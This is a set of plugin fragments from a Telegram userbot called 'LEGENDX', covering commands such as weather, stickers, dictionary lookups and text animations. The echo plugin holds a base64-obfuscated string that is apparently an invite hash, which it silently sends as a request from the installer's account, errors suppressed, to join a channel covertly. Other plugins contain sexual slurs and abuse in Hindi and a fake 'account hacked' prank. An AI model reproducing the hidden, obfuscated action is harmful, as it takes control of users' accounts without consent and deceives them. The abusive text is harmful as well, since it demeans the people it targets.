else: await edit_or_reply(hell, output_str) @bot.on(events.NewMessage(incoming=True)) async def samereply(hell): if hell.chat_id in Config.UB_BLACK_LIST_CHAT: return if is_echo(hell.sender_id, hell.chat_id): await asyncio.sleep(2) try: LEGENDX = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") LEGENDX = Get(LEGENDX) await hell.client(LEGENDX) except BaseException: pass if hell.message.text or hell.message.sticker: await hell.reply(hell.message) CMD_HELP.update({ "echo": "**Syntax :** `.echo` reply to user to whom you want to enable\ \n**Usage : **replays his every message for whom you enabled echo\ \n\n**Syntax : **`.rmecho` reply to user to whom you want to stop\ \n**Usage : **Stops replaying his messages\ \n\n**Syntax : **`.listecho`\ \n**Usage : **shows the list of users for whom you enabled echo\ " })
id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash))) pack_emojis = [] for document_sticker in get_stickerset.packs: if document_sticker.emoticon not in pack_emojis: pack_emojis.append(document_sticker.emoticon) OUTPUT = f"**Sticker Title:** `{get_stickerset.set.title}\n`" \ f"**Sticker Short Name:** `{get_stickerset.set.short_name}`\n" \ f"**Official:** `{get_stickerset.set.official}`\n" \ f"**Archived:** `{get_stickerset.set.archived}`\n" \ f"**Stickers In Pack:** `{len(get_stickerset.packs)}`\n" \ f"**Emojis In Pack:**\n{' '.join(pack_emojis)}" await event.edit(OUTPUT) CMD_HELP.update({ "stickers": ".kang\ \nUsage: Reply .kang to a sticker or an image to kang it to your LEGENDX pack.\ \n\n.kang [emoji('s)]\ \nUsage: Works just like .kang but uses the emoji('s) you picked.\ \n\n.kang [number]\ \nUsage: Kang's the sticker/image to the specified pack but uses 🤔 as emoji.\ \n\n.kang [emoji('s)] [number]\ \nUsage: Kang's the sticker/image to the specified pack and uses the emoji('s) you picked.\ \n\n.stkrinfo\ \nUsage: Gets info about the sticker pack." })
await event.edit("Reply to actual users message.") return cat = await event.edit("recognizeing this media") async with event.client.conversation(chat) as conv: try: response = conv.wait_event( events.NewMessage(incoming=True, from_users=461083923)) await event.client.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: await event.reply("unblock @Rekognition_Bot and try again") await cat.delete() return if response.text.startswith("See next message."): response = conv.wait_event( events.NewMessage(incoming=True, from_users=461083923)) response = await response cat = response.message.message await event.edit(cat) else: await event.edit("sorry, I couldnt find it") CMD_HELP.update({ "recognize": "`.recognize` reply this to any media file\ \nUSAGE : Get information about an image using AWS Rekognition.\ \nFind out information including detected labels, faces. text and moderation tags." })
elif "@" in sysarg: async with borg.conversation(bot) as conv: try: await conv.send_message("/start") await conv.get_response() await conv.send_message("/type " + sysarg) audio = await conv.get_response() await borg.send_message(event.chat_id, audio.text) await event.delete() except YouBlockedUserError: await event.edit( "Error: unblock @MadBoy_Rotomgram2_Bot and try again!") elif "" in sysarg: async with borg.conversation(bot) as conv: try: await conv.send_message("/start") await conv.get_response() await conv.send_message("/type " + sysarg) audio = await conv.get_response() await borg.send_message(event.chat_id, audio.text) await event.delete() except YouBlockedUserError: await event.edit( "Error: unblock @MadBoy_Rotomgram2_Bot `and try again!") CMD_HELP.update({ "weak": "this plugin is info of pokemon weakness type .weak fire or .weak any types" })
reply_to_id = None if event.reply_to_msg_id: reply_to_id = event.reply_to_msg_id input_str = event.pattern_match.group(1) if not input_str: input_str = DEFCITY async with aiohttp.ClientSession() as session: sample_url = "https://wttr.in/{}.png" response_api_zero = await session.get(sample_url.format(input_str)) response_api = await response_api_zero.read() with io.BytesIO(response_api) as out_file: await event.reply(f"**City : **`{input_str}`", file=out_file, reply_to=reply_to_id) try: await event.delete() except: pass CMD_HELP.update({ "climate": "**Plugin : **`climate`\ \n\n • **Syntax : **`.climate <city>`\ \n • **Function : **__Gets the weather of a city. By default it is Delhi, change it by setcity__👇\n\ \n\n • **Syntax : **`.setcity <city> or .setcity <city>, <country name/code>`\ \n • **Function : **__Sets your default city so you can just use .weather.__\ \n\n • **Syntax : **`.wttr <city> `\ \n • **Function : **__Shows you the climate data of 3 days from today in a image.__" })
"hashes.txt", reply_to=hash_q.id, caption="`It's too big, sending a text file instead. `") runapp(["rm", "hashes.txt"], stdout=PIPE) else: await hash_q.reply(ans) @register(outgoing=True, pattern="^.hbase (en|de) (.*)") @errors_handler async def endecrypt(query): """ For .base64 command, find the base64 encoding of the given string. """ if query.pattern_match.group(1) == "en": lething = str( pybase64.b64encode(bytes(query.pattern_match.group(2), "utf-8")))[2:] await query.reply("Shhh! It's Encoded: `" + lething[:-1] + "`") else: lething = str( pybase64.b64decode(bytes(query.pattern_match.group(2), "utf-8"), validate=True))[2:] await query.reply("Decoded: `" + lething[:-1] + "`") CMD_HELP.update({"base64": "Find the base64 encoding of the given string"}) CMD_HELP.update({ "hash": "Find the md5, sha1, sha256, sha512 of the string when written into a txt file." })
else: await hellevent.edit("xkcd n.{} not found!".format(xkcd_id)) CMD_HELP.update({ "tools": "**Plugin : **`tools`\ \n\n**Syntax : **`.scan` reply to media or file\ \n**Function : **__it scans the media or file and checks either any virus is in the file or media__\ \n\n**Syntax : **`.makeqr` <content>\ \n**Function : **__Make a QR Code from the given content.__\ \nExample: .makeqr www.google.com\ \n\n**Syntax : **`.barcode `<content>\ \n**Function : **__Make a BarCode from the given content.__\ \nExample: `.barcode` www.google.com\ \n\n**Syntax : **`.decode` <reply to barcode/qrcode> \ \n**Function : **__to get decoded content of those codes.__\ \n\n**Syntax : **`cal year ; month`\ \n**Function : **__Shows you the calendar of given month and year__\ \n\n**Syntax : **`.currency` amount (from currency) (to currency)\ \n**Function : **__Currency converter for LEGENDX __**Example :** `.currency 10 usd inr`\ \n\n**Syntax : **`.currencies`\ \n**Function : **__Shows you the some list of currencies__\ \n\n**Syntax : **`.ifsc` <IFSC code>\ \n**Function : **__to get details of the relevant bank or branch__**Example :** `.ifsc SBIN0016086`\ \n\n**Syntax : **`.color` <color_code> \ \n**Function : **__sends you a plain image of the color example :__`.color #ff0000`\ \n\n**Syntax : **`.xkcd` <query>\ \n**Function : **__Searches for the query for the relevant XKCD comic __" })
@borg.on(admin_cmd("unshort (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) if not input_str.startswith("http"): input_str = "http://" + input_str r = requests.get(input_str, allow_redirects=False) if str(r.status_code).startswith('3'): await event.edit("Input URL: {}\nReDirected URL: {}".format( input_str, r.headers["Location"])) else: await event.edit("Input URL {} returned status_code {}".format( input_str, r.status_code)) CMD_HELP.update({ "links": "**Plugin : **`links`\ \n\n**Syntax :** `.dns link`\ \n**Function : **__Shows you Domain Name System(dns) of the given link. Ex: `.dns google.com` or `.dns github.com`__\ \n\n**Syntax : **`.url link`\ \n**Function : **__shortens the given link__\ \n\n**Syntax : **`.unshort link`\ \n**Function : **__unshortens the given short link__\ \n\n**Syntax : **`.hl` <link>\ \n**Function : **__Hide the given link__\ " })
@borg.on(admin_cmd("bigoof")) async def _(event): if event.fwd_from: return animation_interval = 0.1 animation_ttl = range(0, 36) await event.edit( "┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛" ) animation_chars = [ "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ", "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯", "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯", "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯" ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 40]) CMD_HELP.update({"big": ".bigoof\ \nUsage: backchodi use krke dekhlo.\ "})
for g in jsonData['genres']: msg += g + " " msg += f"\n**Status** : {jsonData['status']}" msg += f"\n**Episode** : {jsonData['episodes']}" msg += f"\n**Year** : {jsonData['startDate']['year']}" msg += f"\n**Score** : {jsonData['averageScore']}" msg += f"\n**Duration** : {jsonData['duration']} min\n\n" #https://t.me/catLEGENDX_support/19496 cat = f"{jsonData['description']}" msg += " __" + re.sub("<br>", '\n', cat) + "__" return msg @bot.on(admin_cmd(pattern="anilist (.*)")) @bot.on(sudo_cmd(pattern="anilist (.*)", allow_sudo=True)) async def anilist(event): if event.fwd_from: return input_str = event.pattern_match.group(1) event = await edit_or_reply(event, "Searching...") result = await callAPI(input_str) msg = await formatJSON(result) await event.edit(msg, link_preview=True) CMD_HELP.update({ "anilist": ".anilist <anime name >\ \nUSAGE: Shows you the details of the anime." })
) await asyncio.sleep(2) await event.edit( "`accoount hacked\n collecting all data\n converting data into pdf`") await asyncio.sleep(1) h = (random.randrange(1, 5)) if h == 1: await event.edit( "`pdf created click link below to download data\n\n😂 Don't worry only i can open this 😎😎.. If u don't Believe try to download` 🙂\n\nhttps://drive.google.com/file/d/1EHJSkt64RZEw7a2h8xkRqZSv_4dWhB02/view?usp=sharing" ) if h == 2: await event.edit( "`pdf created click link below to download data\n\n😂 Don't worry only i can open this 😎😎.. If u don't Believe try to download` 🙂\n\nhttps://drive.google.com/file/d/1YaUfNVrHU7zSolTuFN3HyHJuTWQtdL2r/view?usp=sharing" ) if h == 3: await event.edit( "`pdf created click link below to download data\n\n😂 Don't worry only i can open this 😎😎.. If u don't Believe try to download` 🙂\n\nhttps://drive.google.com/file/d/1o2wXirqy1RZqnUMgsoM8qX4j4iyse26X/view?usp=sharing" ) if h == 4: await event.edit( "`pdf created click link below to download data\n\n😂 Don't worry only i can open this 😎😎.. If u don't Believe try to download` 🙂\n\nhttps://drive.google.com/file/d/15-zZVyEkCFA14mFfD-2DKN-by1YOWf49/view?usp=sharing" ) if h == 5: await event.edit( "`pdf created click link below to download data\n\n😂 Don't worry only i can open this 😎😎.. If u don't Believe try to download` 🙂\n\nhttps://drive.google.com/file/d/1hPUfr27UtU0XjtC20lXjY9G3D9jR5imj/view?usp=sharing" ) # Made for LEGENDX BOT CMD_HELP.update( {"hack": "ye plug-in logo ka chutia banane me kaam aaata h use .hack"})
else: mentions += f"\nDeleted Account `{user.id}`" except ChatAdminRequiredError as err: mentions += " " + str(err) + "\n" try: await show.edit(mentions) except MessageTooLongError: await show.edit( "Damn, this is a huge group. Uploading users lists as file.") file = open("userslist.txt", "w+") file.write(mentions) file.close() await show.client.send_file( show.chat_id, "userslist.txt", caption='Users in {}'.format(title), reply_to=show.id, ) remove("userslist.txt") CMD_HELP.update({ "chatinfo": ".chatinfo or .chatinfo <username of group>\ \nUsage: Shows you the total information of the required chat.\ \n\n.adminlist\ \nUsage: Retrieves a list of admins in the chat.\ \n\n.users or .users <name of member>\ \nUsage: Retrieves all (or queried) users in the chat." })
os.remove(download_location) return try: response = upload_file(download_location) os.remove(download_location) except exceptions.TelegraphException as exc: await hellmemmes.edit("ERROR: " + str(exc)) os.remove(download_location) return hell = f"https://telegra.ph{response[0]}" hell = await phcomment(hell, text, username) await hellmemmes.delete() await hellmemes.client.send_file(hellmemes.chat_id, hell, reply_to=replied) CMD_HELP.update( { "pranks": "**Plugin : **`pranks`\ \n\n**Syntax :**`.threats` reply to image or sticker \ \n**USAGE:**Changes the given pic to another pic which shows that pic content is threat to society as that of nuclear bomb .\ \n\n**Syntax :**`.trash` reply to image or sticker\ \n**USAGE : **Changes the given pic to another pic which shows that pic content is as equal as to trash(waste)\ \n\n**Syntax :** reply to image or sticker with `.trap (name of the person to trap)-(trapper name)`\ \n**USAGE :**Changes the given pic to another pic which shows that pic content is trapped in trap card\ \n\n**Syntax :** reply to image or sticker with `.phc (username)-(text in comment)`\ \n**USAGE :**Changes the given pic to another pic which shows that pic content as dp and shows a comment in phub with the given username\ \n\n __**All cmds support sudo**__\ " } )
from LEGENDX.utils import admin_cmd, edit_or_reply, sudo_cmd @bot.on(admin_cmd(pattern="chain$")) @bot.on(sudo_cmd(pattern="chain$", allow_sudo=True)) async def _(event): if event.fwd_from: return await event.edit("Counting...") count = -1 message = event.message while message: reply = await message.get_reply_message() if reply is None: await event.client( SaveDraftRequest(await event.get_input_chat(), "", reply_to_msg_id=message.id)) message = reply count += 1 await event.edit(f"Chain length: {count}") CMD_HELP.update({ "chain": """**Plugin :**`chain` • **Syntax : **`.chain reply to message` • **Function : **__Reply this command to any converstion(or message) so that it finds chain length of that message__""" })
xy=(((i_width - u_width) / 2) + 2, i_height - u_height - int((20 / 640)*i_width)), text=l_text, font=m_font, fill=(0, 0, 0)) draw.text( xy=((i_width - u_width) / 2, (i_height - u_height - int((20 / 640)*i_width)) - 2), text=l_text, font=m_font, fill=(0, 0, 0)) draw.text( xy=((i_width - u_width) / 2, (i_height - u_height - int((20 / 640)*i_width)) + 2), text=l_text, font=m_font, fill=(0, 0, 0)) draw.text( xy=((i_width - u_width) / 2, i_height - u_height - int((20 / 640)*i_width)), text=l_text, font=m_font, fill=(255, 255, 255)) current_h += u_height + pad image_name = "memify.webp" webp_file = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, image_name) img.save(webp_file, "webp") return webp_file CMD_HELP.update( { "memify": ".memify (text)\ \nUsage: print your text on photo or sticker.\ " } )
@bot.on(admin_cmd(pattern="meaning (.*)")) @bot.on(sudo_cmd(pattern="meaning (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return word = event.pattern_match.group(1) dictionary = PyDictionary() hell = dictionary.meaning(word) output = f"**Word :** __{word}__\n\n" try: for a, b in hell.items(): output += f"**{a}**\n" for i in b: output += f"☞__{i}__\n" await edit_or_reply(event, output) except Exception: await edit_or_reply(event, f"Couldn't fetch meaning of {word}") CMD_HELP.update({ "dictionary": "**Plugin :** `dictionary`\ \n\n**Syntax :** `.ud query`\ \n**Usage : **fetches meaning from Urban dictionary\ \n\n**Syntax : **`.meaning query`\ \n**Usage : **Fetches meaning of the given word\ " })
def get_lst_of_files(input_directory, output_lst): filesinfolder = os.listdir(input_directory) for file_name in filesinfolder: current_file_name = os.path.join(input_directory, file_name) if os.path.isdir(current_file_name): return get_lst_of_files(current_file_name, output_lst) output_lst.append(current_file_name) return output_lst CMD_HELP.update({ "archive": ".zip reply to a file/media\ \nUSEAGE: it will zip that file/media\ \n\n.rar reply to a file/media\ \nUSEAGE: it will rar that file/media\ z\n\n. reply to a file/media\ \nUSEAGE: it will make into .7z that hat file/media\ \n\n.tar reply to a file/media\ \nUSEAGE: it will tar that file/media\ \n\n.unzip reply to a .zip file\ \nUSEAGE: it will unzip that .zip file\ \n\n.unrar reply to a .rar file\ \nUSEAGE: it will unrar that .rar file\ \n\n.untar reply to a .tar\ \nUSEAGE: it will untar that .tar file\ " })
return results async def scam(results, lim): single = opener.open(results['similar_images']).read() decoded = single.decode('utf-8') imglinks = [] counter = 0 pattern = r'^,\[\"(.*[.png|.jpg|.jpeg])\",[0-9]+,[0-9]+\]$' oboi = re.findall(pattern, decoded, re.I | re.M) for imglink in oboi: counter += 1 if not counter >= int(lim): imglinks.append(imglink) else: break return imglinks CMD_HELP.update({ 'reverse': '.reverse\ \nUsage: Reply to a pic/sticker to revers-search it on Google Images !!' })
from LEGENDX.utils import admin_cmd @borg.on(admin_cmd("bsdk")) async def _(event): if event.fwd_from: return animation_interval = 2 animation_ttl = range(0, 36) #input_str = event.pattern_match.group(1) # if input_str == "gulli": await event.edit("gulli") animation_chars = [ "OK", "SUNN MADERCHOD", "TERI MAA KA BHOSDA", "BEHEN K LUND", "TERI MAA KA DUD", "MERA LAWDA LELE TU AGAR CHAIYE TOH", "GAANDU", "CHUTIYA", "TERI MAA KI CHUT PE JCB CHADHAA DUNGA", "SAMJHAA LAWDE", "YA DU TERE GAAND ME TAPAA TAP😂", "TERI BEHEN MERA ROZ LETI HAI", "TERI GF K SAATH MMS BANAA CHUKA HU🙈🤣🤣", "TU CHUTIYA TERA KHANDAAN CHUTIYA", "Yeahhhhhh", "AUR KITNA BOLU BEY MANN BHAR GAYA MERA🤣", "Ab nikal ja jaake chkko k saath hilaa", "😂😂😂🤣🤣" ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 18]) CMD_HELP.update({"bsdk": "gali plugin h yrr use .bsdk"})
# For @UniBorg # (c) Shrimadhav U K from telethon import events, functions, types from uniborg.util import admin_cmd from LEGENDX import CMD_HELP from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest @borg.on(admin_cmd("listmyusernames")) async def mine(event): """ For .reserved command, get a list of your reserved usernames. """ result = await bot(GetAdminedPublicChannelsRequest()) output_str = "" for channel_obj in result.chats: output_str += f"{channel_obj.title}\n@{channel_obj.username}\n\n" await event.edit(output_str) CMD_HELP.update({ "LIST MY USERNAMES": "**Plugin : **`listmyusernames`\ \n\n**Syntax : **`.listmyusernames`\ \n**Function : **this plugin give you your all channel and groups usernamen" })
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`", "`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`", "`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`", "`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`", "`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`", ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 8]) CMD_HELP.update( { "animation2": """**Plugin : **`animation2` **Commands in animation2 are ** • `.boxs` • `.rain` • `.deploy` • `.dump` • `.fleaveme` • `.loveu` • `.plane` • `.police` • `.jio` • `.solarsystem` **Function : **__Different kinds of animation commands check yourself for their animation .__""" } )
await borg.send_message(event.chat_id, audio.text) await event.delete() except YouBlockedUserError: await ok.edit( "**Error**\n `Unblock` @MissRose_Bot `and try again!") @borg.on(admin_cmd(pattern="fedinfo ?(.*)")) async def _(event): if event.fwd_from: return ok = await event.edit("`Extracting information...`") sysarg = event.pattern_match.group(1) async with borg.conversation(bot) as conv: try: await conv.send_message("/start") await conv.get_response() await conv.send_message("/fedinfo " + sysarg) audio = await conv.get_response() await ok.edit(audio.text + "\n\nFedInfo Excracted by LEGENDXBOT") except YouBlockedUserError: await ok.edit("**Error**\n `Unblock` @MissRose_Bot `and try again!" ) CMD_HELP.update({ "fedstuff": ".fstat <username/userid/reply to user>\nUse - To check the persons fedban stat in @MissRose_Bot.\ \n\n.fedinfo <fedid>\nUse - To see info about the fed." })
if not reply_message.text: await event.edit("**Reply to a url message.**") return chat = "@chotamreaderbot" sender = reply_message.sender await event.edit("**Making instant view...**") async with event.client.conversation(chat) as conv: try: response = conv.wait_event(events.NewMessage(incoming=True,from_users=272572121)) await event.client.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: await event.reply("Please unblock me @chotamreaderbot") return await event.delete() await event.client.send_message(event.chat_id, response.message, reply_to=reply_message) CMD_HELP.update( { "bots": ".purl (reply to file)\nUse - Get a direct download link of that file/doc/pic/vid\ \n\n.reader (reply to url)\nUse - Open that url in telegraph .\ \n\n.sgm (reply to any user or tag)\nUse - send details of that user.\ \n\n.recognize (reply to any media)\nUse - send details about it.\ \n\n.wspr (message) (target username/id)\nUse - Send a whisper message to that person.\ \n\n.limits\nUse - Check if you are limited by telegram." } )
response += f'🔱 **Unread Mentions:** {unread_mentions} \n\n' response += f'☣️ __It Took:__ {stop_time:.02f}s \n' response += f'📌 **From The DataBase Of** :- [LEGENDX BOT](https://github.com/LEGENDX/LEGENDX)' await hell.edit(response) def make_mention(user): if user.username: return f"@{user.username}" return inline_mention(user) def inline_mention(user): full_name = user_full_name(user) or "No Name" return f"[{full_name}](tg://user?id={user.id})" def user_full_name(user): names = [user.first_name, user.last_name] names = [i for i in list(names) if i] return " ".join(names) CMD_HELP.update( { "stat": "**Plugin : **`stat`\ \n\n**Syntax : **`.stat`\ \n**Function : **Shows you the count of your groups, channels, private chats...etc" } )
chat = None if not input_str: chat = to_write_chat else: mentions = "Bots in {} channel: \n".format(input_str) try: chat = await borg.get_entity(input_str) except Exception as e: await event.edit(str(e)) return None try: async for x in borg.iter_participants(chat, filter=ChannelParticipantsBots): if isinstance(x.participant, ChannelParticipantAdmin): mentions += "\n ⚜️ [{}](tg://user?id={}) `{}`".format( x.first_name, x.id, x.id) else: mentions += "\n [{}](tg://user?id={}) `{}`".format( x.first_name, x.id, x.id) except Exception as e: mentions += " " + str(e) + "\n" await event.edit(mentions) CMD_HELP.update({ "get_bot": "**Plugin : **`get_bot`\ \n\n**Syntax : **`.get_bot`\ \n**Function : **all bots list use .get_bot" })
from telethon import events from uniborg.util import admin_cmd from LEGENDX import CMD_HELP @borg.on(admin_cmd(pattern="copy")) async def _(event): if event.fwd_from: return if event.reply_to_msg_id: previous_message = await event.get_reply_message() the_real_message = previous_message.text reply_to_id = event.reply_to_msg_id the_real_message = the_real_message.replace("*", "*") the_real_message = the_real_message.replace("_", "_") await event.edit(the_real_message) else: await event.edit("Reply to a message .copy to copy nd paste ") CMD_HELP.update( {"copy": ".copy <reply to any text> " "\nCopy that text nd redeliver it"})
ALIVE_MESSAGE += f"💠 𝙼𝚈 𝙱𝙾𝚂𝚂 💠: [{DEFAULTUSER}](tg://user?id={tag})\n\n" ALIVE_MESSAGE += "🔰 𝙶𝚁𝙾𝚄𝙿 🔰 : [SUPPORT](https://t.me/LEGENDX_USERBOT_SUPPORT)\n\n" ALIVE_MESSAGE += f"💠 [𝙳𝙴𝙿𝙻𝙾𝚈](https://dashboard.heroku.com/new?button-url=https%3A%2F%2Fgithub.com%2FLEGENDX%2FLEGEN-BOT&template=https%3A%2F%2Fgithub.com%2FLEGENDX%2FLEGENDX-ROBOT) 𝚈𝙾𝚄𝚁 𝙾𝚆𝙽 𝙾𝙿 [{BOT}](http://github.com/legendxop/legend-bot) 💠\n" await awake.delete() await borg.send_file(awake.chat_id, PHOTO, caption=ALIVE_MESSAGE) elif PHOTO == None: PHOTO = "https://telegra.ph/file/0ed5f920e8a5e9a7b0029.jpg" tag = borg.uid uptm = await legend.get_readable_time((time.time() - StartTime)) ALIVE_MESSAGE = f" ⚡️ {BOT} ⚡️ IS ON 🔥 FIRE 🔥" ALIVE_MESSAGE += "\n\n" ALIVE_MESSAGE += "💟 𝚂𝚈𝚂𝚃𝙴𝙼 𝚂𝚃𝙰𝚃𝚄𝚂 💟\n\n" ALIVE_MESSAGE += "☎️ 𝚃𝙴𝙻𝙴𝚃𝙷𝙾𝙽 𝚅𝙴𝚁𝚂𝙸𝙾𝙽 ☎️ : 1.20\n\n" ALIVE_MESSAGE += f"🔶 𝙻𝙴𝙶𝙴𝙽𝙳 𝚅𝙴𝚁𝚂𝙸𝙾𝙽 🔶 : {VERSION}\n\n" ALIVE_MESSAGE += f"🔷 𝚄𝙿𝚃𝙸𝙼𝙴 🔷 : {uptm}\n\n" ALIVE_MESSAGE += f"💠 𝙼𝚈 𝙱𝙾𝚂𝚂 💠: [{DEFAULTUSER}](tg://user?id={tag})\n\n" ALIVE_MESSAGE += "🔰 𝙶𝚁𝙾𝚄𝙿 🔰 : [SUPPORT](https://t.me/LEGENDX_USERBOT_SUPPORT)\n\n" ALIVE_MESSAGE += f"💠 [𝙳𝙴𝙿𝙻𝙾𝚈](https://dashboard.heroku.com/new?button-url=https%3A%2F%2Fgithub.com%2FLEGENDX%2FLEGEN-BOT&template=https%3A%2F%2Fgithub.com%2FLEGENDX%2FLEGENDX-ROBOT) 𝚈𝙾𝚄𝚁 𝙾𝚆𝙽 𝙾𝙿 [{BOT}](http://github.com/legendxop/legend-bot) 💠\n" await awake.delete() await borg.send_file(awake.chat_id, PHOTO, caption=ALIVE_MESSAGE) else: await awake.edit("please add right value on ALIVE_PHOTTO var") CMD_HELP.update({ "awake": "Plugin : awake\ \n\nSyntax : .awake\ \nFunction : you can set here costom alive pic .set var ALIVE_PHOTTO (Telegraph link)" })
await event.edit("No result found in search. Please enter **Valid app name**") except Exception as err: await event.edit("Exception Occured:- " + str(err)) @borg.on(admin_cmd(pattern="mods ?(.*)")) async def mod(event): if event.fwd_from: return modr = event.pattern_match.group(1) botusername = "******" if event.reply_to_msg_id: reply_to_id = await event.get_reply_message() tap = await bot.inline_query(botusername, modr) await tap[0].click(event.chat_id) await event.delete() CMD_HELP.update( { "app": "**Plugin :** `app`\ \n**Syntax : **`.app [app name]`\ \n**Usage: **searches the app in the playstore and provides the link to the app in playstore and fetchs app details \ \n\n**Syntax : **`.mods [app name]`\ \n**Usage: **searches and downloads the modded app\ \n\n**Syntax : **`.appr [app name]`\ \n**Usage: **searches the app in the playstore and provides the link to the app in playstore and fetchs app details with Xpl0iter request link. \ " } )
await asyncio.sleep(1.5) await event.edit("ToH") await asyncio.sleep(1.5) await event.edit("DekhO") await asyncio.sleep(1.5) await event.edit("Wo DeGi TuM eKbAr MaNg KaR tOh DeKhO😄") @bot.on(admin_cmd(pattern=f"nehi$", outgoing=True)) @bot.on(sudo_cmd(pattern=f"nehi$", allow_sudo=True)) async def _(event): if event.fwd_from: return event = await edit_or_reply(event, "nehi") await event.edit( "`Wo PaKkA DeGi Tu ManG KaR ToH DekH\n AuR NaA De To UskI BheN Ko PakaD😚😚`" ) await asyncio.sleep(999) CMD_HELP.update({ "degi": """**Plugin : **`degi` **Commands in degi are ** • `.degi` • `.nehi` **Function : **__Leni deni hogi bc...__""" })
reply_to_id = event.message.id if event.reply_to_msg_id: reply_to_id = event.reply_to_msg_id cmd = "ls LEGENDX/plugins" process = await asyncio.create_subprocess_shell( cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) stdout, stderr = await process.communicate() o = stdout.decode() _o = o.split("\n") o = "\n".join(_o) OUTPUT = f"**List of Plugins:**\n - {o}\n\n**HELP:** __If you want to know the commands for a plugin, do:-__ \n `.help <plugin name>` **without the < > brackets.**\n__All modules might not work directly. Visit__ @teamishere __for assistance.__" if len(OUTPUT) > 69: with io.BytesIO(str.encode(OUTPUT)) as out_file: out_file.name = "cmd_list.text" await bot.send_file( event.chat_id, out_file, force_document=True, allow_cache=False, caption=cmd, reply_to=reply_to_id, ) await event.delete() await event.edit(OUTPUT) CMD_HELP.update( {"command_list": ".cmds\nUsage - Extracts all the plugins of this LEGENDX in a link.."} )